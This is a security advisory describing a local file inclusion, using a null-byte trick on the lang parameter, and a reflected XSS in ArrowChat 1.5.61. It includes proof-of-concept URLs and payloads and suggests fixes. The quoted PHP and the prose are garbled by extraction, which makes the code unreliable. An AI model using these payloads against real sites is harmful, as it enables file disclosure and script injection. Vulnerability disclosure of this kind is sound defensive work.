ArrowChat 1.5.61 multiple defects

Title: ArrowChat <= ~ 1.5.61 Multiple vulnerabilities Author: Kallimero affected versions: 1.5.61, before, and maybe 1.6 Testing System: Debian introduction ============== ArrowChat is a chat script, which is able to be integrate in various CMS, as wordpress, or some bulletin boards. defect Analysis ========= 1-) Local File extension sion external. php let us load langage, but not a secure way. --------------- [external. php] --------------- // Load another language if lang GET value is set and existsif (var_check ('lang ') {$ lang = get_var ('lang '); if (file_exists (dirname (_ FILE __). DIRECTORY_SEPARATOR. AC_FOLDER_LANGUAGE. DIRECTORY_SEPARATOR. $ lang. DIRECTORY_SEPARATOR. $ lang. ". php ") {include (dirname (_ FILE __). DIRECTORY_SEPARATOR. AC_FOLDER_LANGUAGE. DIRECTORY_SEPARATOR. $ lang. DIRECTORY_SEPARATOR. $ lang. ". php ") ;}--------------- [index. php] --------------- Thanks to the nullbyte tricks we'll be able to include any php file, likethat: http://www.bkjia.com /[Path]/external. php? Lang = .. /path/to/file % 00 & type = djs 2-) reflected XSS The administration layout is accessible for anyone. even if we can't execthe php code of the admin, we can inject html thanks to $ _ SERVER ['php _ SELF '] Example: ------- [admin/layout/pages_general.php] ----- <form method = "post" action = "<? Php echo $ _ SERVER ['php _ SELF '];?>? Do = <? Phpecho $ do;?> "Enctype =" multipart/form-data "> ---------------------------------- PoC: http: // [site]/[path]/admin/layout/pages_general.php/'"/> <script> alert (1); </script> How to Fix? ============= To fix the LFI, you can replace it: // Load another language if lang GET value is set and exists if (var_check ('lang ') {$ lang = get_var ('lang '); if (preg_match ("# ^ [a-z] {2, 5} $ # I", $ lang) {if (file_exists (dirname (_ FILE __). DIRECTORY_SEPARATOR. AC_FOLDER_LANGUAGE. DIRECTORY_SEPARATOR. $ lang. DIRECTORY_SEPARATOR. $ lang. ". php ") {include (dirname (_ FILE __). DIRECTORY_SEPARATOR. AC_FOLDER_LANGUAGE. DIRECTORY_SEPARATOR. $ lang. DIRECTORY_SEPARATOR. $ lang. ". php ") ;}} lang will be include only if it's a valid lang file. for the XSS's, you can use. htaccess to protect the layout directory, anduse htmlentities to avoid the html inj '.